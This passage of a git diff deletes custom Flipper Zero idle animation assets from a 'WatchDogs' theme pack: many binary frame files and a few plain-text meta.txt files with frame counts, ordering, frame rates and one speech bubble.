a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_15.bm deleted file mode 100644 index 1811bfb3d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_16.bm deleted file mode 100644 index ddd1d2395..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_17.bm deleted file mode 100644 index ffee017ad..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_18.bm deleted file mode 100644 index f66386023..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_19.bm deleted file mode 100644 index 47f3ec1fe..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_2.bm deleted file mode 100644 index 9160a850e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_20.bm deleted file mode 100644 index 5a86d581e..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_21.bm deleted file mode 100644 index 02782bb77..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_22.bm deleted file mode 100644 index defb712b9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_23.bm deleted file mode 100644 index f91ebaa1c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_3.bm deleted file mode 100644 index 2614a9a38..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_4.bm deleted file mode 100644 index c4b03793b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_5.bm deleted file mode 100644 index 8da3699ec..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_6.bm deleted file mode 100644 index 9f8ffc153..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_7.bm deleted file mode 100644 index 414171469..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_8.bm deleted file mode 100644 index 82ca3d18a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_9.bm deleted file mode 100644 index 2c8190d32..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/meta.txt deleted file mode 100644 index 81cc6c7d9..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/MARCUS/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 24 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 -Active cycles: 0 -Frame rate: 4 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_0.bm deleted file mode 100644 index efb1c363c..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_1.bm deleted file mode 100644 index 2344530a7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_2.bm deleted file mode 100644 index f37994b24..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_3.bm deleted file mode 100644 index 10de7e314..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt deleted file mode 100644 index 1ede66745..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/MUMMY/meta.txt +++ /dev/null @@ -1,23 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 5 -Active frames: 4 -Frames order: 2 0 1 3 0 2 3 2 3 -Active cycles: 2 -Frame rate: 2 -Duration: 3600 -Active cooldown: 1 - -Bubble slots: 1 - -Slot: 0 -X: 27 -Y: 24 -Text: AARGH! -AlignH: Right -AlignV: Center -StartFrame: 6 -EndFrame: 9 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_0.bm deleted file mode 100644 index 4f1f6df42..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_1.bm deleted file mode 100644 index 0f143aa37..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_10.bm deleted file mode 100644 index 360c342ba..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_11.bm deleted file mode 100644 index 5a27175f3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_12.bm deleted file mode 100644 index 94a5d826b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_13.bm deleted file mode 100644 index b663cb8b4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_14.bm deleted file mode 100644 index d6c68c61d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_15.bm deleted file mode 100644 index 03d2a06ec..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_16.bm deleted file mode 100644 index bb78af916..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_17.bm deleted file mode 100644 index 832b7f5aa..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_18.bm deleted file mode 100644 index ecc8c8398..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_19.bm deleted file mode 100644 index 9fb6b3a05..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_2.bm deleted file mode 100644 index adeec6abb..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_20.bm deleted file mode 100644 index d5af130f8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_21.bm deleted file mode 100644 index 289c5d0c6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_22.bm deleted file mode 100644 index 3acfddaaf..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_23.bm deleted file mode 100644 index ff169e3f9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_24.bm deleted file mode 100644 index 6122c3ca8..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_25.bm deleted file mode 100644 index 6ac18403a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_26.bm deleted file mode 100644 index 1dd82abce..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_27.bm deleted file mode 100644 index 47d55ee39..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_28.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_28.bm deleted file mode 100644 index 91ae34988..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_29.bm deleted file mode 100644 index 2cb729c5f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_3.bm deleted file mode 100644 index 06c257f12..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_30.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_31.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_31.bm deleted file mode 100644 index 1ae586f6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_4.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_4.bm deleted file mode 100644 index 26a26f12f..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_5.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_5.bm deleted file mode 100644 index ceb66aa02..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_6.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_6.bm deleted file mode 100644 index a29145be2..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_7.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_7.bm deleted file mode 100644 index 99b6dd4e5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_8.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_8.bm deleted file mode 100644 index 603e4cf09..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_9.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_9.bm deleted file mode 100644 index bb78977d6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/meta.txt b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/meta.txt deleted file mode 100644 index 64a5c9465..000000000 --- a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 32 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 -Active cycles: 0 -Frame rate: 5 -Duration: 3600 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_0.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_0.bm deleted file mode 100644 index 25ac0f28a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_1.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_1.bm deleted file mode 100644 index a540fee58..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_10.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_10.bm deleted file mode 100644 index 37bd49766..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_11.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_11.bm deleted file mode 100644 index 829568563..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_12.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_12.bm deleted file mode 100644 index 50a6809f7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_13.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_13.bm deleted file mode 100644 index 1fe9dec8a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_14.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_14.bm deleted file mode 100644 index 9153ec32b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_15.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_15.bm deleted file mode 100644 index e1544cecc..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_16.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_16.bm deleted file mode 100644 index 598b4a7d9..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_17.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_17.bm deleted file mode 100644 index 4c24f3458..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_18.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_18.bm deleted file mode 100644 index f8d52d615..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_19.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_19.bm deleted file mode 100644 index 384f3ef2a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_2.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_2.bm deleted file mode 100644 index d376a31b6..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_20.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_20.bm deleted file mode 100644 index 3eb8fd5a0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_21.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_21.bm deleted file mode 100644 index 3db7943c5..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_22.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_22.bm deleted file mode 100644 index da3889808..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_23.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_23.bm deleted file mode 100644 index 4e6092af4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_24.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_24.bm deleted file mode 100644 index 9d3b392da..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_25.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_25.bm deleted file mode 100644 index 080e8e11a..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_26.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_26.bm deleted file mode 100644 index 65253bc6b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_27.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_27.bm deleted file mode 100644 index f0a3ff5dd..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_28.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_28.bm deleted file mode 100644 index 920e8b624..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_29.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_29.bm deleted file mode 100644 index 298dfcfc3..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_3.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_3.bm deleted file mode 100644 index 256969c11..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_30.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_30.bm deleted file mode 100644 index 9e5b76f20..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_31.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_31.bm deleted file mode 100644 index b2624e125..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_32.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_32.bm deleted file mode 100644 index b4372661d..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_33.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_33.bm deleted file mode 100644 index 7c2dc4484..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_34.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_34.bm deleted file mode 100644 index e5c9505f7..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_35.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_35.bm deleted file mode 100644 index 22c1f70c0..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_36.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_36.bm deleted file mode 100644 index daa2562ac..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_37.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_37.bm deleted file mode 100644 index b7c22d6e4..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_38.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_38.bm deleted file mode 100644 index 65e22129b..000000000 Binary files a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_39.bm b/assets/resources/dolphin_custom/WatchDogs/Anims/REAPER_ALT/frame_39.bm deleted file mode 100644 index 